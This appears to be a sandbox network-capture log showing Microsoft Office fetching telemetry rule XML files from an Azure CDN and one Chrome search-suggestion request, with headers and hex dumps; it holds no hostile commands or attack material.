2024-11-27 15:34:24 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:24 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153424Z-174f7845968kvnqxhC1EWRmf3g0000000fwg00000000gbvq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:24 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49708	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:26 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:26 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153426Z-174f7845968n2hr8hC1EWR9cag0000000wug000000005y0h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:26 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.7	49710	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:26 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:26 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 30944020-a01e-0053-5e8b-3f8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153426Z-174f7845968vqt9xhC1EWRgten0000000x3000000000maqy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:26 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.7	49711	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:26 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:26 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1acdd965-601e-005c-618a-40f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153426Z-174f7845968jrjrxhC1EWRmmrs0000000x6g00000000gy6v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:26 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49709	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:26 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153426Z-174f7845968qj8jrhC1EWRh41s0000000x50000000002b1h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49712	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:26 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:26 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 33ff7c98-601e-0097-063e-40f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153426Z-174f7845968psccphC1EWRuz9s0000000xag00000000kee7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:26 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:28 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:28 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: ed9dfa2a-401e-0015-7891-3f0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153428Z-174f7845968psccphC1EWRuz9s0000000xe0000000005qke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:28 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:28 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 6eac52fb-a01e-006f-2191-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153428Z-174f78459685726chC1EWRsnbg0000000x2g00000000nug9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:29 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:29 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:29 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: c665a67d-901e-002a-1b91-3f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153429Z-174f7845968ljs8phC1EWRe6en0000000ww000000000ny1z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:29 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:29 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:29 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153429Z-174f7845968px8v7hC1EWR08ng0000000xe0000000006ewp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:29 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:29 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:29 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: dc0e488f-901e-005b-3891-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153429Z-174f7845968jrjrxhC1EWRmmrs0000000xc0000000000r24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:29 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49723	142.250.181.100	443	7556	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:29 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 15:34:30 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:29 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-4Ia7zKe7_tetyFuvjwGAgQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
